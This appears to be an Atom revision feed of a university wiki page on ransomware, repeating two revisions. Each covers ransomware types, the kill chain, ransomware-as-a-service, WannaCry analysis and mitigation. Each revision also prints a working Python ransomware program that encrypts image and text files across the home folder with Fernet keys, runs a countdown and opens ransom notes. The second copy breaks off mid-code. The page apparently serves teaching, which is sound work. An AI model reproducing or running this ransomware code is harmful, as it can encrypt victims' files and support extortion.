&lt;br /&gt;
A “Prevention is better than cure” approach includes:&lt;br /&gt;
* Incident Response Plan&lt;br /&gt;
* Backups&lt;br /&gt;
* Antivirus Solutions&lt;br /&gt;
* Disable Macros scripts&lt;br /&gt;
* Keeping Systems up to date&lt;br /&gt;
* Restricted Network Access&lt;br /&gt;
&lt;br /&gt;
=== Securing Networks and Systems during an attack ===&lt;br /&gt;
&lt;br /&gt;
* Act Immediately&lt;br /&gt;
* Perform an Attack Analysis&lt;br /&gt;
* Determine if a decryptor is available&lt;br /&gt;
* Restore from a previous snapshot or backup&lt;br /&gt;
* Report the infection&lt;br /&gt;
&lt;br /&gt;
== Python Based CGR ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Summary ===&lt;br /&gt;
&lt;br /&gt;
This section demonstrates how to create a simple CGR in python. Instead of using standard AES for encryption, this application uses a Fernet key due to its simplicity. Fernet keys use a combination of two smaller keys:&lt;br /&gt;
* A 128 bit AES encryption key&lt;br /&gt;
* A 128 bit SHA256 signing key&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Ubuntu 18.04 bionic amd64&lt;br /&gt;
* Packages and Software: VMware Workstation Pro 12.x, Python 3.x, Anaconda Navigator, Atom IDE&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Install Python 3.x and Anaconda Navigator. Clone the project from the github page: https://git.fh-campuswien.ac.at/c1710475138/somali-cryptographic-ransomware.git&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Main Secion of the Code ===&lt;br /&gt;
&lt;br /&gt;
  import os&lt;br /&gt;
  import webbrowser&lt;br /&gt;
  from os.path import expanduser&lt;br /&gt;
  from cryptography.fernet import Fernet #fernet keys have two smaller keys, a 128 bit AES key and a 128 bit SHA256 signing key&lt;br /&gt;
  import tkinter as tk&lt;br /&gt;
  from PIL import ImageTk, Image&lt;br /&gt;
  from multiprocessing import Process&lt;br /&gt;
  from threading import Thread&lt;br /&gt;
  import time&lt;br /&gt;
  from pathlib import Path&lt;br /&gt;
&lt;br /&gt;
  #Welcome to Somali FBI Ransomware! To start encryption:&lt;br /&gt;
  #python3 main.py --action encrypt&lt;br /&gt;
  #To decrypt files:&lt;br /&gt;
  #python3 main.py --action decrypt --keyfile ./path/to/key&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
  root = tk.Tk()&lt;br /&gt;
  root.title(&#039;Terminal&#039;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  # root2 = tk.Tk()&lt;br /&gt;
  # root2.title(&#039;FBI SOMALIA ALERT!&#039;)&lt;br /&gt;
  # root.wm_attributes(&#039;-fullscreen&#039;, &#039;true&#039;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  class Malware(object):&lt;br /&gt;
&lt;br /&gt;
      def __init__(self):&lt;br /&gt;
          self.key = None  # key to encrypt the files&lt;br /&gt;
          self.cryptor = None  # The encryptor&lt;br /&gt;
          self.file_ext_targets = [&#039;jpg&#039;, &#039;txt&#039;, &#039;png&#039; &#039;zip&#039;]  # our ransomware will encrypt txt files&lt;br /&gt;
          self.my_file = Path(&amp;quot;~/Desktop/MENSA.txt&amp;quot;)  # the system will look for this file before starting the decryption process.&lt;br /&gt;
          self.flag = 0&lt;br /&gt;
          self.time = 1000000&lt;br /&gt;
&lt;br /&gt;
      def mainscreen(self):&lt;br /&gt;
          termf = tk.Frame(root, height=400, width=500)&lt;br /&gt;
          w = tk.Label(root, text=&amp;quot;Something went wrong...&amp;quot;)&lt;br /&gt;
          button = tk.Button(text=&#039;Close&#039;, command=self.quitApp).pack()&lt;br /&gt;
          w.pack()&lt;br /&gt;
          root.mainloop()&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
          #This is a method that generates a key to unlock files and pass it to the crypter&lt;br /&gt;
          #verifies the key for decryption&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def quitApp(self):&lt;br /&gt;
          root.destroy()&lt;br /&gt;
          ransom.writeKey(&amp;quot;key&amp;quot;)&lt;br /&gt;
          ransom.encryptRoot(local_root)&lt;br /&gt;
&lt;br /&gt;
          # canvas.delete()&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
               self.root2 = tk.Tk()&lt;br /&gt;
          #self.root2.wm_attributes(&#039;-fullscreen&#039;, &#039;true&#039;)&lt;br /&gt;
          #self.canvas = tk.Canvas(self.root2, width=1366, height=800)&lt;br /&gt;
          #self.img = tk.PhotoImage(file=&amp;quot;data/FBI.PNG&amp;quot;)&lt;br /&gt;
          #self.canvas.create_image(20, 20, anchor=tk.NW, image=self.img)&lt;br /&gt;
          #self.canv as.pack()&lt;br /&gt;
          #root2.mainloop()&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
          self.tick(30) #timer for encryption&lt;br /&gt;
&lt;br /&gt;
      def tick(self, t):&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
          while t:&lt;br /&gt;
              os.system(&#039;sh mi6.sh&#039;)  #shell script to change the background is run constantly&lt;br /&gt;
&lt;br /&gt;
              if self.flag == 0:&lt;br /&gt;
                  time.sleep(5)&lt;br /&gt;
                  self.note = webbrowser.open(&#039;file://&#039; + os.path.realpath(&#039;note.html&#039;))  #Ransomware not is generated&lt;br /&gt;
                  self.flag += 1&lt;br /&gt;
&lt;br /&gt;
              mins, secs = divmod(t, 60)&lt;br /&gt;
              timer = &#039;{:02d}:{:02d}&#039;.format(mins, secs)&lt;br /&gt;
              print(timer, end=&amp;quot;\r&amp;quot;)&lt;br /&gt;
              time.sleep(1)&lt;br /&gt;
              if self.my_file.is_file():&lt;br /&gt;
                  webbrowser.open(&#039;file://&#039; + os.path.realpath(&#039;success.html&#039;))   #Once the the ransom is payed, the success page is displayed&lt;br /&gt;
                  ransom.readKey(&#039;keyfile&#039;)&lt;br /&gt;
                  ransom.encryptRoot(local_root, encrypted=True)&lt;br /&gt;
                  break&lt;br /&gt;
&lt;br /&gt;
              t -= 1&lt;br /&gt;
&lt;br /&gt;
          if t == 0 and not self.my_file.is_file():&lt;br /&gt;
              webbrowser.open(&#039;file://&#039; + os.path.realpath(&#039;fail.html&#039;))  #If timer runs out and there are no ransom paid, fail page is displayed&lt;br /&gt;
              sys_root = expanduser(&amp;quot;~&amp;quot;)  #set new encryption directory to the root&lt;br /&gt;
              ransom.generateKey()    #generate a key&lt;br /&gt;
              ransom.writeKey(&amp;quot;keyfile&amp;quot;) #write a key&lt;br /&gt;
              ransom.encryptRoot(sys_root)    #start the encryption process&lt;br /&gt;
&lt;br /&gt;
      def generateKey(self):&lt;br /&gt;
          self.key = Fernet.generate_key()&lt;br /&gt;
          self.cryptor = Fernet(self.key)&lt;br /&gt;
&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
          read the key for decryption&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def readKey(self, keyfileName):&lt;br /&gt;
&lt;br /&gt;
          with open(keyfileName, &amp;quot;rb&amp;quot;) as f:&lt;br /&gt;
              self.key = f.read()&lt;br /&gt;
              self.cryptor = Fernet(self.key)&lt;br /&gt;
&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
      #Save decryption key to a file&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def writeKey(self, keyFileName):&lt;br /&gt;
          print(self.key)&lt;br /&gt;
          with open(keyFileName, &amp;quot;wb&amp;quot;) as f:&lt;br /&gt;
              f.write(self.key)&lt;br /&gt;
&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
      encrypt or decrypt files from root directory&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def encryptRoot(self, rootDir, encrypted=False):&lt;br /&gt;
          for root, _, files in os.walk(rootDir):&lt;br /&gt;
              for f in files:&lt;br /&gt;
                  abs_files_path = os.path.join(root, f)&lt;br /&gt;
                  # pass if no target files is present in current folder&lt;br /&gt;
                  if not abs_files_path.split(&amp;quot;.&amp;quot;)[-1] in self.file_ext_targets:&lt;br /&gt;
                      continue&lt;br /&gt;
                  self.encryptFile(abs_files_path, encrypted=encrypted)&lt;br /&gt;
&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
      encrypt and decrypt files&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def encryptFile(self, filePath, encrypted=False):&lt;br /&gt;
          with open(filePath, &amp;quot;rb+&amp;quot;) as f:&lt;br /&gt;
              _data = f.read()&lt;br /&gt;
              if not encrypted:&lt;br /&gt;
                  # perform encryption&lt;br /&gt;
                  print()&lt;br /&gt;
                  print(f&amp;quot;File Contents before encryption: {_data}&amp;quot;)&lt;br /&gt;
                  data = self.cryptor.encrypt(_data)&lt;br /&gt;
                  print(f&amp;quot;File contents after encryption: {data}&amp;quot;)&lt;br /&gt;
              else:&lt;br /&gt;
                  # decrypt&lt;br /&gt;
                  data = self.cryptor.decrypt(_data)&lt;br /&gt;
                  print(f&amp;quot;File content before encryption: {data}&amp;quot;)&lt;br /&gt;
              f.seek(0)&lt;br /&gt;
              f.write(data)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
      # sys_root = expanduser(&amp;quot;~&amp;quot;)    # Use to encrypt every folder from root&lt;br /&gt;
      local_root = expanduser(&amp;quot;~/Downloads&amp;quot;)  # Use to encrypt specific folder&lt;br /&gt;
&lt;br /&gt;
      import argparse&lt;br /&gt;
&lt;br /&gt;
      parser = argparse.ArgumentParser()&lt;br /&gt;
      parser.add_argument(&amp;quot;--action&amp;quot;, required=True)&lt;br /&gt;
      parser.add_argument(&amp;quot;--keyfile&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
      args = parser.parse_args()&lt;br /&gt;
      action = args.action.lower()&lt;br /&gt;
      keyfile = args.keyfile&lt;br /&gt;
&lt;br /&gt;
      ransom = Malware()&lt;br /&gt;
&lt;br /&gt;
      if action == &amp;quot;decrypt&amp;quot;:&lt;br /&gt;
          if keyfile is None:&lt;br /&gt;
              print(&amp;quot;Path to key must be specified after --keyfile for decryption&amp;quot;)&lt;br /&gt;
          else:&lt;br /&gt;
              ransom.readKey(key)&lt;br /&gt;
              ransom.encryptRoot(local_root, encrypted=True)&lt;br /&gt;
      elif action == &amp;quot;encrypt&amp;quot;:&lt;br /&gt;
          Thread(target=ransom.generateKey()).start()&lt;br /&gt;
          Thread(target=ransom.mainscreen()).start()&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* A. Chuquilla, T. Guarda and G. Ninahualpa Quiña, &amp;quot;Ransomware -&lt;br /&gt;
WannaCry Security is everyone&#039;s,&amp;quot; 2019 14th Iberian Conference on&lt;br /&gt;
Information Systems and Technologies (CISTI), Coimbra, Portugal,&lt;br /&gt;
2019, pp. 1-4, doi: 10.23919/CISTI.2019.8760749&lt;br /&gt;
&lt;br /&gt;
* Gonzalez, D. and Hayajneh, T., n.d. Detection And Prevention Of Crypto-Ransomware.&lt;br /&gt;
&lt;br /&gt;
* Malwarebytes.com. 2021. [https://www.malwarebytes.com/ransomware What is Ransomware?]&lt;br /&gt;
&lt;br /&gt;
* usa.kaspersky.com. 2021. [https://usa.kaspersky.com/resource-center/definitions/scareware What is Scareware?]&lt;br /&gt;
&lt;br /&gt;
* crowdstrike.com. 2021. [https://www.crowdstrike.com/cybersecurity-101/ransomware/ransomware-as-a-service-raas/ Ransomware as a Service (RaaS) Explained]&lt;br /&gt;
&lt;br /&gt;
* Kost, E., 2021. [https://www.upguard.com/blog/what-is-ransomware-as-a-service What is Ransomware as a Service (RaaS)?]&lt;br /&gt;
&lt;br /&gt;
[[Category:Basic]]&lt;/div&gt;</summary>
		<author><name>JDimmel</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Ransomware&amp;diff=8809</id>
		<title>Ransomware</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Ransomware&amp;diff=8809"/>
		<updated>2021-12-21T13:24:01Z</updated>

		<summary type="html">&lt;p&gt;JDimmel: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Introduction to Ransomware ==&lt;br /&gt;
&lt;br /&gt;
Ransomware is a type of malware that takes control over a victim‘s PC or Data, and blocking access to it, in an attempt to extort money. Conventionally the attacker demands that the ransom is paid in a hard to trace digital currency like Monero, Ethereum or Bitcoin.&lt;br /&gt;
Modern day state of the art Ransomwares (which are mostly Cryptographic) use AES-256 to encrypt files and require payment for decryption.&lt;br /&gt;
It is typically attained from deceptive email links or websites. Currently, there are two types of ransomwares: Cryptographic and Non-Cryptographic based.&lt;br /&gt;
&lt;br /&gt;
== Role of Cryptography in Ransomware ==&lt;br /&gt;
&lt;br /&gt;
Malware / Ransomware use cryptography in order to hide its own code so that antivirus or security researchers cannot identify the actual code easily, communicate with its own command and control (C&amp;amp;C) Server and to encrypt the files on the victim machine.&lt;br /&gt;
&lt;br /&gt;
A cryptographic system can have the following components:&lt;br /&gt;
* Plaintext&lt;br /&gt;
* Encryption key&lt;br /&gt;
* Ciphertext, which is the encrypted text&lt;br /&gt;
* Encryption algorithm, also called cipher&lt;br /&gt;
* Decryption algorithm&lt;br /&gt;
* There are two types of cryptographic algorithms based on the kind of key used:&lt;br /&gt;
** Symmetric&lt;br /&gt;
** Asymmetric&lt;br /&gt;
&lt;br /&gt;
Advanced Encryption Standard (AES), the most used encryption algorithm in ransomwares uses a symmetric key. More advanced CGRs use a combation of both Symmetric and Asymmetric Keys (CryptoLocker is known to use both a symmetric key and an asymmetric key RSA)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[File:Picture1.png|500px|thumb|right| Symmetric key exchange]]&lt;br /&gt;
&lt;br /&gt;
== Cryptographic Ransomware (CGR) ==&lt;br /&gt;
&lt;br /&gt;
Cryptographic Ransomware (CGR) encrypts the files of the victim‘s device using „Strong Cryptographic“ Methods. These are methods that are considered highly resistant to cryptanalysis. The victim is informed of the encryption during an attack. A Timer is another component of the attack that is used to give the victim the feeling of urgency. There is no other easy way to decrypt the data than using the decryption key. &amp;lt;br /&amp;gt;&lt;br /&gt;
The main currencies used for paying the ransom are digital cryptocurrencies like Monero, Etherium or Bitcoin, because they are:&lt;br /&gt;
* Anonymous&lt;br /&gt;
* Difficult to track&lt;br /&gt;
* Transactions irreversible&lt;br /&gt;
&lt;br /&gt;
CGR is not just one ransomware, but a family of malware that behave in a similar way&lt;br /&gt;
Most common CGRs are:&lt;br /&gt;
* Jigsaw&lt;br /&gt;
* WannaCry&lt;br /&gt;
* Crypto Locker&lt;br /&gt;
* Police Ransomware&lt;br /&gt;
* Dirty Decrypt&lt;br /&gt;
* Torrent Locker&lt;br /&gt;
* Batch file Ransomware&lt;br /&gt;
* CryptoWall&lt;br /&gt;
&lt;br /&gt;
=== Crypto Locker ===&lt;br /&gt;
&lt;br /&gt;
CryptoLocker comes is a plethora of different forms, one of which the Torrent Locker ransomware. The standard variant Uses the advanced encryption standard AES-128 cryptosystem to encrypt the data on the host machine. In the latter variant, Torrent Locker, on the other hand, encrypts users’s files with the most advanced encryption standard implementation AES-256-CBC. AES 128 uses 10 rounds while AES 256 uses 14 rounds. The higher the number of rounds, the more complex the encryption and is therefore the reason why Torrent Locker is more ”secure”.&lt;br /&gt;
&lt;br /&gt;
== Non-Cryptographic Ransomware (NCR) ==&lt;br /&gt;
&lt;br /&gt;
NCRs unlike CGRs Do not use any encryption and are applications that are designed to restrict computer interaction by locking screen or modifying Master Boot Record (MBR). They are relatively weak compared to CGR.&lt;br /&gt;
Examples of NCR include:&lt;br /&gt;
* WinLocker&lt;br /&gt;
* Reveton&lt;br /&gt;
&lt;br /&gt;
=== Screen-Lockers ===&lt;br /&gt;
&lt;br /&gt;
The main goal of screen-lockers is to restrict access to a victim’s system at the operating system level, meaning that the affected device or system cannot be used. The only thing that is displayed when booting the system, is typically a message demanding a ransom.&lt;br /&gt;
&lt;br /&gt;
=== Extortionware ===&lt;br /&gt;
&lt;br /&gt;
Extortion is used by attackers to extort money from their victims, by to gathering as much information as possible and stealing that personal information and data that the victim wants to keep private. The attackers then can threaten to release it, if the ransom is not paid. Mostly none of the victim’s data is encrypted and none of their systems is blocked, but they have to pay if they do not want their private information to be leaked.&lt;br /&gt;
&lt;br /&gt;
== Ransomware Kill-Chain ==&lt;br /&gt;
&lt;br /&gt;
[[File:Picture2.png|1000px|thumb|center| Ransomware Kill Chain]]&lt;br /&gt;
&lt;br /&gt;
* Distribution campaign – attackers use techniques like social engineering and weaponized websites to trick or force users to download a dropper which kicks off the infection&lt;br /&gt;
* Malicious code infection – the dropper downloads an executable which installs the ransomware itself&lt;br /&gt;
* Malicious payload staging – the ransomware sets up, embeds itself in a system, and establishes persistency to exist beyond a reboot&lt;br /&gt;
* Scanning – the ransomware searches for content to encrypt, both on the local computer and the network accessible resources&lt;br /&gt;
* Encryption – the discovered files are encrypted&lt;br /&gt;
* Payday – a ransom note is generated, shown to the victim, and the hacker waits to collect on the ransom&lt;br /&gt;
&lt;br /&gt;
=== Distribution Types Kill-Chain stage ===&lt;br /&gt;
&lt;br /&gt;
==== Malicious Spam Emails ====&lt;br /&gt;
&lt;br /&gt;
In order to gain access and infect a system, the attacker sends a huge amount of malicious spam emails to as many people as possible. Known example are phishing emails which target specific persons or companies. Via social engineering and deception tactics, victims are tricked into downloading malicious files or clicking on malicious links, which if opened infect the victim&#039;s computer.&lt;br /&gt;
&lt;br /&gt;
==== Malicious Advertising ====&lt;br /&gt;
&lt;br /&gt;
Malicious advertising is a method for distribution malicious software by abusing advertisements. If an infected website is visited by a victim, malicious advertisements redirect the browser to another page. This page contains an exploits which infects the victim&#039;s computer. This happens while the victim does not notice any of it.&lt;br /&gt;
&lt;br /&gt;
==== Scareware ==== &lt;br /&gt;
&lt;br /&gt;
Scareware is used to scare victim&#039;s into downloading malicious software. Example would be a pop-up in the victim&#039;s browser telling them that their computer might be infected and they need a specific software to remove the problem. Often real looking banners, logos and names of legitimate antimalware-solution companies are used to lure victims into downloading malicious software.&lt;br /&gt;
&lt;br /&gt;
=== Encryption Kill-Chain stage ===&lt;br /&gt;
&lt;br /&gt;
* Upon Infection, Cryptolocker connects to C&amp;amp;C and requests a public key&lt;br /&gt;
* RSA public and secret key pair is generated for the victim machine&lt;br /&gt;
* Public Key sent to the victim machine, Secret Key stays with C&amp;amp;C&lt;br /&gt;
* Ransomware generates AES Symmetric key for file encryption&lt;br /&gt;
* Encrypt the AES key with the RSA public key&lt;br /&gt;
* In order to decrypt files, AES key must be decrypted with private key in the C&amp;amp;C server.&lt;br /&gt;
&lt;br /&gt;
== Ransomware as a Service (RaaS) ==&lt;br /&gt;
&lt;br /&gt;
Ransomware as a Service is a growing business model on the dark web used by ransomware developers to distribute and sell their malware as service. Anybody, even without much technical knowledge, can execute ransomware attacks by just subscribing to this service. RaaS kits are rather easy to find on the dark web, where they are advertised like a normal product. These services may also offer a dashboard where the attacker has an overview of the progress, or even documentation with a step-by-step guide on how to use the ransomware. There are different types of RaaS revenue models, like a monthly subscription for a flat fee, a one-time license fee or a monthly fee but where a specific percentage of the ransomware profits is going to the RaaS-provider.&lt;br /&gt;
&lt;br /&gt;
== Tools for Reverse Engineering and WannaCry ==&lt;br /&gt;
&lt;br /&gt;
First seen in 2017, WannaCry Ransomware has a series of elements. It enters victim in the form of a „dropper“ which contains an executable that encrypts and decrypts files, a copy of Tor Browser and the Encryption Keys (Kill Switch). It is timed like Jigsaw Ransomware and should the victim fails to pay on time, all files are deleted including the encryption key. The ransomware demands 0.025 bitcoin ransom but can be much more for corperations&lt;br /&gt;
&lt;br /&gt;
=== GHIDRA ===&lt;br /&gt;
&lt;br /&gt;
Ghidra is a software reverse engineering (SRE) suite of tools developed by NSA&#039;s Research Directorate in support of the Cybersecurity mission.&lt;br /&gt;
&lt;br /&gt;
[[File:Picture3.png|200px|thumb|right| Ghidra open source software]]&lt;br /&gt;
[[File:Picture4.png|500px|thumb|center| Ghidra being used to reverse engineer WannaCry]]&lt;br /&gt;
&lt;br /&gt;
== Mitigation ==&lt;br /&gt;
&lt;br /&gt;
=== Securing Networks and Systems before an attack ===&lt;br /&gt;
&lt;br /&gt;
A “Prevention is better than cure” approach includes:&lt;br /&gt;
* Incident Response Plan&lt;br /&gt;
* Backups&lt;br /&gt;
* Antivirus Solutions&lt;br /&gt;
* Disable Macros scripts&lt;br /&gt;
* Keeping Systems up to date&lt;br /&gt;
* Restricted Network Access&lt;br /&gt;
&lt;br /&gt;
=== Securing Networks and Systems during an attack ===&lt;br /&gt;
&lt;br /&gt;
* Act Immediately&lt;br /&gt;
* Perform an Attack Analysis&lt;br /&gt;
* Determine if a decryptor is available&lt;br /&gt;
* Restore from a previous snapshot or backup&lt;br /&gt;
* Report the infection&lt;br /&gt;
&lt;br /&gt;
== Python Based CGR ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Summary ===&lt;br /&gt;
&lt;br /&gt;
This section demonstrates how to create a simple CGR in python. Instead of using standard AES for encryption, this application uses a Fernet key due to its simplicity. Fernet keys use a combination of two smaller keys:&lt;br /&gt;
* A 128 bit AES encryption key&lt;br /&gt;
* A 128 bit SHA256 signing key&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Requirements ==&lt;br /&gt;
&lt;br /&gt;
* Operating system: Ubuntu 18.04 bionic amd64&lt;br /&gt;
* Packages and Software: VMware Workstation Pro 12.x, Python 3.x, Anaconda Navigator, Atom IDE&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Install Python 3.x and Anaconda Navigator. Clone the project from the github page: https://git.fh-campuswien.ac.at/c1710475138/somali-cryptographic-ransomware.git&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Main Secion of the Code ===&lt;br /&gt;
&lt;br /&gt;
  import os&lt;br /&gt;
  import webbrowser&lt;br /&gt;
  from os.path import expanduser&lt;br /&gt;
  from cryptography.fernet import Fernet #fernet keys have two smaller keys, a 128 bit AES key and a 128 bit SHA256 signing key&lt;br /&gt;
  import tkinter as tk&lt;br /&gt;
  from PIL import ImageTk, Image&lt;br /&gt;
  from multiprocessing import Process&lt;br /&gt;
  from threading import Thread&lt;br /&gt;
  import time&lt;br /&gt;
  from pathlib import Path&lt;br /&gt;
&lt;br /&gt;
  #Welcome to Somali FBI Ransomware! To start encryption:&lt;br /&gt;
  #python3 main.py --action encrypt&lt;br /&gt;
  #To decrypt files:&lt;br /&gt;
  #python3 main.py --action decrypt --keyfile ./path/to/key&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
  root = tk.Tk()&lt;br /&gt;
  root.title(&#039;Terminal&#039;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  # root2 = tk.Tk()&lt;br /&gt;
  # root2.title(&#039;FBI SOMALIA ALERT!&#039;)&lt;br /&gt;
  # root.wm_attributes(&#039;-fullscreen&#039;, &#039;true&#039;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
  class Malware(object):&lt;br /&gt;
&lt;br /&gt;
      def __init__(self):&lt;br /&gt;
          self.key = None  # key to encrypt the files&lt;br /&gt;
          self.cryptor = None  # The encryptor&lt;br /&gt;
          self.file_ext_targets = [&#039;jpg&#039;, &#039;txt&#039;, &#039;png&#039; &#039;zip&#039;]  # our ransomware will encrypt txt files&lt;br /&gt;
          self.my_file = Path(&amp;quot;~/Desktop/MENSA.txt&amp;quot;)  # the system will look for this file before starting the decryption process.&lt;br /&gt;
          self.flag = 0&lt;br /&gt;
          self.time = 1000000&lt;br /&gt;
&lt;br /&gt;
      def mainscreen(self):&lt;br /&gt;
          termf = tk.Frame(root, height=400, width=500)&lt;br /&gt;
          w = tk.Label(root, text=&amp;quot;Something went wrong...&amp;quot;)&lt;br /&gt;
          button = tk.Button(text=&#039;Close&#039;, command=self.quitApp).pack()&lt;br /&gt;
          w.pack()&lt;br /&gt;
          root.mainloop()&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
          #This is a method that generates a key to unlock files and pass it to the crypter&lt;br /&gt;
          #verifies the key for decryption&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def quitApp(self):&lt;br /&gt;
          root.destroy()&lt;br /&gt;
          ransom.writeKey(&amp;quot;key&amp;quot;)&lt;br /&gt;
          ransom.encryptRoot(local_root)&lt;br /&gt;
&lt;br /&gt;
          # canvas.delete()&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
               self.root2 = tk.Tk()&lt;br /&gt;
          #self.root2.wm_attributes(&#039;-fullscreen&#039;, &#039;true&#039;)&lt;br /&gt;
          #self.canvas = tk.Canvas(self.root2, width=1366, height=800)&lt;br /&gt;
          #self.img = tk.PhotoImage(file=&amp;quot;data/FBI.PNG&amp;quot;)&lt;br /&gt;
          #self.canvas.create_image(20, 20, anchor=tk.NW, image=self.img)&lt;br /&gt;
          #self.canv as.pack()&lt;br /&gt;
          #root2.mainloop()&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
          self.tick(30) #timer for encryption&lt;br /&gt;
&lt;br /&gt;
      def tick(self, t):&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
          while t:&lt;br /&gt;
              os.system(&#039;sh mi6.sh&#039;)  #shell script to change the background is run constantly&lt;br /&gt;
&lt;br /&gt;
              if self.flag == 0:&lt;br /&gt;
                  time.sleep(5)&lt;br /&gt;
                  self.note = webbrowser.open(&#039;file://&#039; + os.path.realpath(&#039;note.html&#039;))  #Ransomware not is generated&lt;br /&gt;
                  self.flag += 1&lt;br /&gt;
&lt;br /&gt;
              mins, secs = divmod(t, 60)&lt;br /&gt;
              timer = &#039;{:02d}:{:02d}&#039;.format(mins, secs)&lt;br /&gt;
              print(timer, end=&amp;quot;\r&amp;quot;)&lt;br /&gt;
              time.sleep(1)&lt;br /&gt;
              if self.my_file.is_file():&lt;br /&gt;
                  webbrowser.open(&#039;file://&#039; + os.path.realpath(&#039;success.html&#039;))   #Once the the ransom is payed, the success page is displayed&lt;br /&gt;
                  ransom.readKey(&#039;keyfile&#039;)&lt;br /&gt;
                  ransom.encryptRoot(local_root, encrypted=True)&lt;br /&gt;
                  break&lt;br /&gt;
&lt;br /&gt;
              t -= 1&lt;br /&gt;
&lt;br /&gt;
          if t == 0 and not self.my_file.is_file():&lt;br /&gt;
              webbrowser.open(&#039;file://&#039; + os.path.realpath(&#039;fail.html&#039;))  #If timer runs out and there are no ransom paid, fail page is displayed&lt;br /&gt;
              sys_root = expanduser(&amp;quot;~&amp;quot;)  #set new encryption directory to the root&lt;br /&gt;
              ransom.generateKey()    #generate a key&lt;br /&gt;
              ransom.writeKey(&amp;quot;keyfile&amp;quot;) #write a key&lt;br /&gt;
              ransom.encryptRoot(sys_root)    #start the encryption process&lt;br /&gt;
&lt;br /&gt;
      def generateKey(self):&lt;br /&gt;
          self.key = Fernet.generate_key()&lt;br /&gt;
          self.cryptor = Fernet(self.key)&lt;br /&gt;
&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
          read the key for decryption&lt;br /&gt;
          &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def readKey(self, keyfileName):&lt;br /&gt;
&lt;br /&gt;
          with open(keyfileName, &amp;quot;rb&amp;quot;) as f:&lt;br /&gt;
              self.key = f.read()&lt;br /&gt;
              self.cryptor = Fernet(self.key)&lt;br /&gt;
&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
      #Save decryption key to a file&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def writeKey(self, keyFileName):&lt;br /&gt;
          print(self.key)&lt;br /&gt;
          with open(keyFileName, &amp;quot;wb&amp;quot;) as f:&lt;br /&gt;
              f.write(self.key)&lt;br /&gt;
&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
      encrypt or decrypt files from root directory&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def encryptRoot(self, rootDir, encrypted=False):&lt;br /&gt;
          for root, _, files in os.walk(rootDir):&lt;br /&gt;
              for f in files:&lt;br /&gt;
                  abs_files_path = os.path.join(root, f)&lt;br /&gt;
                  # pass if no target files is present in current folder&lt;br /&gt;
                  if not abs_files_path.split(&amp;quot;.&amp;quot;)[-1] in self.file_ext_targets:&lt;br /&gt;
                      continue&lt;br /&gt;
                  self.encryptFile(abs_files_path, encrypted=encrypted)&lt;br /&gt;
&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
      encrypt and decrypt files&lt;br /&gt;
      &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
      def encryptFile(self, filePath, encrypted=False):&lt;br /&gt;
          with open(filePath, &amp;quot;rb+&amp;quot;) as f:&lt;br /&gt;
              _data = f.read()&lt;br /&gt;
              if not encrypted:&lt;br /&gt;
                  # perform encryption&lt;br /&gt;
                  print()&lt;br /&gt;
                  print(f&amp;quot;File Contents before encryption: {_data}&amp;quot;)&lt;br /&gt;
                  data = self.cryptor.encrypt(_data)&lt;br /&gt;
                  print(f&amp;quot;File contents after encryption: {data}&amp;quot;)&lt;br /&gt;
              else:&lt;br /&gt;
                  # decrypt&lt;br /&gt;
                  data = self.cryptor.decrypt(_data)&lt;br /&gt;
